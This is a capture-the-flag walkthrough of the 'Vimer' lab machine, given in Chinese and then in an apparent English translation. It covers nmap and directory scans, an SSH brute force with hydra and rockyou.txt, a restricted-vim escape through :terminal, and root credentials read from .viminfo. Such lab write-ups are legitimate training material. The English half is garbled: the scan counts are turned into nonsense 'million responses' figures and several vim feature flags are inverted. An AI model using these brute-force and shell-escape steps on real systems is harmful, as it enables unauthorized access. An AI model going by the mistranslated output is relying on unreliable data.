mazesec vimer

信息收集

# Nmap 7.95 scan initiated Wed Dec 17 04:46:38 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.29
Nmap scan report for Vimer.lan (192.168.110.29)
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_auth-owners: vim
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Vimer
113/tcp open  ident?
|_auth-owners: vim
MAC Address: 08:00:27:45:50:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 17 04:48:03 2025 -- 1 IP address (1 host up) scanned in 84.97 seconds
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.110.29/
 🚩  In-Scope Url          │ 192.168.110.29
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, bak, zip, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      195l      361w     5367c http://192.168.110.29/index.html
200      GET      195l      361w     5367c http://192.168.110.29/
301      GET        9l       28w      314c http://192.168.110.29/vim => http://192.168.110.29/vim/
200      GET      131l      317w     2417c http://192.168.110.29/vim/css/main.css
200      GET        4l      117w     7518c http://192.168.110.29/vim/lib/prism.js
200      GET      143l      235w     2350c http://192.168.110.29/vim/lib/prism.css
200      GET        5l       40w     1763c http://192.168.110.29/vim/lib/superplaceholder.min.js
200      GET      308l      795w     7760c http://192.168.110.29/vim/js/main.js
200      GET       33l      202w     1737c http://192.168.110.29/vim/js/commands.js
200      GET       61l      222w     3012c http://192.168.110.29/vim/index.html
200      GET     9190l    37989w   247351c http://192.168.110.29/vim/lib/jquery-2.1.1.js
301      GET        9l       28w      318c http://192.168.110.29/vim/css => http://192.168.110.29/vim/css/
301      GET        9l       28w      318c http://192.168.110.29/vim/lib => http://192.168.110.29/vim/lib/
301      GET        9l       28w      317c http://192.168.110.29/vim/js => http://192.168.110.29/vim/js/
200      GET       23l      189w     1228c http://192.168.110.29/vim/lib/codemirror/LICENSE
200      GET      145l      252w     2373c http://192.168.110.29/vim/lib/codemirror/mode/css/scss.html
200      GET       45l      152w     1644c http://192.168.110.29/vim/lib/codemirror/mode/xml/index.html
301      GET        9l       28w      329c http://192.168.110.29/vim/lib/codemirror => http://192.168.110.29/vim/lib/codemirror/
301      GET        9l       28w      333c http://192.168.110.29/vim/lib/codemirror/lib => http://192.168.110.29/vim/lib/codemirror/lib/
200      GET       58l      106w     1245c http://192.168.110.29/vim/lib/codemirror/mode/css/index.html
200      GET      480l     1664w    24877c http://192.168.110.29/vim/lib/codemirror/index.html
301      GET        9l       28w      334c http://192.168.110.29/vim/lib/codemirror/mode => http://192.168.110.29/vim/lib/codemirror/mode/
301      GET        9l       28w      335c http://192.168.110.29/vim/lib/codemirror/addon => http://192.168.110.29/vim/lib/codemirror/addon/

web是静态网页,查看后没有发现任何泄露

漏洞分析

hydra -l vim -P /usr/share/wordlists/rockyou.txt 192.168.110.29 ssh-> vim:000001

利用

$ ssh vim@192.168.110.29
# 输入密码000001
# 进入了vim

:version 查看版本以及可用命令

VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Oct 01 2021 01:51:08)
Included patches: 1-2434
Extra patches: 8.2.3402, 8.2.3403, 8.2.3409, 8.2.3428
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
Huge version without GUI.  Features included (+) or not (-):
+acl               -dnd               +listcmds          +postscript        +textobjects
+arabic            -ebcdic            +localmap          +printer           +textprop
+autocmd           +emacs_tags        -lua               +profile           +timers
+autochdir         +eval              +menu              -python            +title
-autoservername    +ex_extra          +mksession         -python3           -toolbar
-balloon_eval      +extra_search      +modify_fname      +quickfix         +user_commands
+balloon_eval_term -farsi             +mouse             +reltime           +vartabs
-browse            +file_in_path      -mouseshape        +rightleft         +vertsplit
++builtin_terms    +find_in_path      +mouse_dec         -ruby              +virtualedit
+byte_offset       +float             +mouse_gpm         +scrollbind        +visual
+channel           +folding           -mouse_jsbterm     +signs             +visualextra
+cindent           -footer            +mouse_netterm     +smartindent       +viminfo
-clientserver      +fork()            +mouse_sgr         -sound             +vreplace
-clipboard         +gettext           -mouse_sysmouse    +spell             +wildignore
+cmdline_compl     -hangul_input      +mouse_urxvt       +startuptime       +wildmenu
+cmdline_hist      +iconv             +mouse_xterm       +statusline        +windows
+cmdline_info      +insert_expand     +multi_byte        -sun_workshop      +writebackup
+comments          +ipv6              +multi_lang        +syntax            -X11
+conceal           +job               -mzscheme          +tag_binary        -xfontset
+cryptv            +jumplist          +netbeans_intg     -tag_old_static    -xim
+cscope            +keymap            +num64             -tag_any_white     -xpm
+cursorbind        +lambda            +packages          -tcl               -xsmp
+cursorshape       +langmap           +path_extra        +termguicolors  -xterm_clipboard
+dialog_con        +libcall           -perl              +terminal          -xterm_save
+diff              +linebreak         +persistent_undo   +terminfo
+digraphs          +lispindent        +popupwin          +termresponse
  • 编程语言被禁了
  • 发现terminal

输入:terminal得到shell

权限提升

打开用户文件夹下的.viminfo即可得到root:xxxxoooo

mazesec Vimer

Information Gathering

# Nmap 7.95 scan initiated on Wednesday, December 17, 2025, at 04:46:38, as follows:
# /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.29
Nmap scan report for Vimer.lan (192.168.110.29):
Host is up (latency: 0.00055 seconds).
997 closed TCP ports were not displayed (resetted).

PORT      STATE      SERVICE      VERSION
22/tcp     open       ssh         OpenSSH 8.4p1      Debian 5+deb11u3      (Protocol 2.0)
|         ssh-hostkey:
|           3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7  (RSA)
|           256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d  (ECDSA)
|           256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb  (ED25519)
|           auth-owners: vim
80/tcp     open       http         Apache httpd 2.4.62     (Debian)
|           http-server-header: Apache/2.4.62      (Debian)
|           http-title: Vimer
113/tcp     open        ident?
|           auth-owners: vim
MAC Address: 08:00:27:45:50:28      (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: General purpose
Operating System: Linux 4.X|5.X
OS Classification: cpe:/o:linux:linux_kernel:4; cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15–5.19, OpenWrt 21.02 (based on Linux 5.4)
Network Distance: 1 hop
Service information: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and service detection has been completed. Please report any incorrect results at:
https://nmap.org/submit/ .

# Nmap completed on Wednesday, December 17, 2025, at 04:48:03 AM -- 1 IP address (1 host up) was scanned in 84.97 seconds.

___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
By Ben "epi" Risher 🤓                 Version: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target URL            │ http://192.168.110.29/
🚩 URLs within Scope          │ 192.168.110.29
🚀 Number of Threads         │ 50
📖 Wordlist Used           │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes Included     │ All Status Codes!
💥 Timeout (in seconds)      │ 7
🦡 User-Agent Used         │ feroxbuster/2.13.0
💉 Configuration File        │ /etc/feroxbuster/ferox-config.toml
 🔎 Links to be Extracted     │ Yes
💲 File Extensions         │ [php, html, bak, zip, txt]
🏁 HTTP Methods Used       │ [GET]
 🔃 Recursion Depth         │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      195 requests      361 million responses     5367 cached results     http://192.168.110.29/index.html
200      GET      195 requests      361 million responses     5367 cached results     http://192.168.110.29/
301      GET        9 requests      280,000 responses      314 cached results     http://192.168.110.29/vim => http://192.168.110.29/vim/
200      GET      131 requests      317 million responses     2417 cached results     http://192.168.110.29/vim/css/main.css
200      GET        4 requests      117 million responses     7518 cached results     http://192.168.110.29/vim/lib/prism.js
200      GET      143 requests      235 million responses     2350 cached results     http://192.168.110.29/vim/lib/prism.css
200      GET        5 requests      40 million responses     1763 cached results     http://192.168.110.29/vim/lib/superplaceholder.min.js
200      GET      308 requests      795 million responses     7760 cached results     http://192.168.110.29/vim/js/main.js
200      GET       33 requests      202 million responses     1737 cached results     http://192.168.110.29/vim/js/commands.js
200      GET       61 requests      222 million responses     3012 cached results     http://192.168.110.29/vim/index.html
200      GET     9190 requests     379.89 million responses   247.351 million cached results     http://192.168.110.29/vim/lib/jquery-2.1.1.js
301      GET        9 requests      280,000 responses      318 cached results     http://192.168.110.29/vim/css => http://192.168.110.29/vim/css/
301      GET        9 requests      280,000 responses      318 cached results     http://192.168.110.29/vim/lib => http://192.168.110.29/vim/lib/
301      GET        9 requests      280,000 responses      317 cached results     http://192.168.110.29/vim/js => http://192.168.110.29/vim/js/
200      GET       23 requests      189 million responses     1228 cached results     http://192.168.110.29/vim/lib/codemirror/license
200      GET      145 requests      252 million responses     2373 cached results     http://192.168.110.29/vim/lib/codemirror/mode/css/scss.html
200      GET       45 requests      152 million responses     1644 cached results     http://192.168.110.29/vim/lib/codemirror/mode/xml/index.html
301      GET        9 requests      280,000 responses      329 cached results     http://192.168.110.29/vim/lib/codemirror => http://192.168.110.29/vim/lib/codemirror/
301      GET        9 requests      280,000 responses      333 cached results     http://192.168.110.29/vim/lib/codemirror/lib => http://192.168.110.29/vim/lib/codemirror/lib/
200      GET      58 requests      106 million responses     1245 cached results     http://192.168.110.29/vim/lib/codemirror/mode/css/index.html
200      GET      480 requests     166.4 million responses    248.77 million cached results     http://192.168.110.29/vim/lib/codemirror/index.html
301      GET        9 requests      280,000 responses      334 cached results     http://192.168.110.29/vim/lib/codemirror/mode => http://192.168.110.29/vim/lib/codemirror/mode/
301      GET        9 requests      280,000 responses      335 cached results     http://192.168.110.29/vim/lib/codemirror/addon => http://192.168.110.29/vim/lib/codemirror/addon/

The website is static, and no vulnerabilities were found upon inspection.

# Vulnerability Analysis

`hydra -l vim -P /usr/share/wordlists/rockyou.txt 192.168.110.29 ssh` -> vim:000001

# Exploitation

```bash
$ ssh vim@192.168.110.29
# Enter password: 000001

I have entered Vim.

:version displays the version number and available commands.

VIM – The Improved Version 8.2 (December 12, 2019; Compiled on October 1, 2021, at 01:51:08)  
Included patches: 1–2434  
Additional patches: 8.2.3402, 8.2.3403, 8.2.3409, 8.2.3428  
Modified by: team+vim@tracker.debian.org  
Compiled by: team+vim@tracker.debian.org  

This is a major version of VIM that does not include a graphical user interface (GUI). Features available (indicated with +) or not available (indicated with -):  

+acl               -dnd               +listcmds          +postscript        +textobjects  
+arabic            -ebcdic            +localmap          +printer           +textprop  
+autocmd           +emacs_tags        -lua               +profile           +timers  
+autochdir         +eval              +menu              -python            +title  
+autoservername    +ex_extra          +mksession         -python3           -toolbar  
+balloon_eval      +extra_search      +modify_fname      +quickfix         +user_commands  
+balloon_eval_term -farsi             +mouse             +reltime           +vartabs  
-browse            +file_in_path      -mouseshape        +rightleft         +vertsplit  
++builtin_terms    +find_in_path      +mouse_dec         -ruby              +virtualedit  
+byte_offset       +float             +mouse_gpm         +scrollbind        +visual  
+channel           +folding           -mouse_jsbterm     +signs             +visualextra  
+cindent           -footer            +mouse_netterm     +smartindent       +viminfo  
+clientserver      +fork()            +mouse_sgr         -sound             +vreplace  
-clipboard         +gettext           -mouse_sysmouse    +spell             +wildignore  
+cmdline_compl     -hangul_input      +mouse_urxvt       +startuptime       +wildmenu  
+cmdline_hist      +iconv             +mouse_xterm       +statusline        +windows  
+cmdline_info      +insert_expand     +multi_byte        -sun_workshop      +writebackup  
+comments          +ipv6              +multi_lang        +syntax            -X11  
+conceal           +job               -mzscheme          +tag_binary        -xfontset  
+cryptv            +jumplist          +netbeans_intg     -tag_old_static    -xim  
+cscope            +keymap            +num64             -tag_any_white     -xpm  
+cursorbind        +lambda            +packages          -tcl               -xsmp  
+cursorshape       +langmap           +path_extra        +termguicolors  -xterm_clipboard  
+dialog_con        +libcall           -perl              +terminal          -xterm_save  
+diff              +linebreak         +persistent_undo   +terminfo  
+digraphs          +lispindent        +popupwin          +termresponse  
  • The programming language has been disabled.
  • A terminal was discovered.
  • Entering the command terminal opens a shell.

Privilege Escalation

By opening the .viminfo file in the user’s folder, you can obtain the information root:xxxxoooo.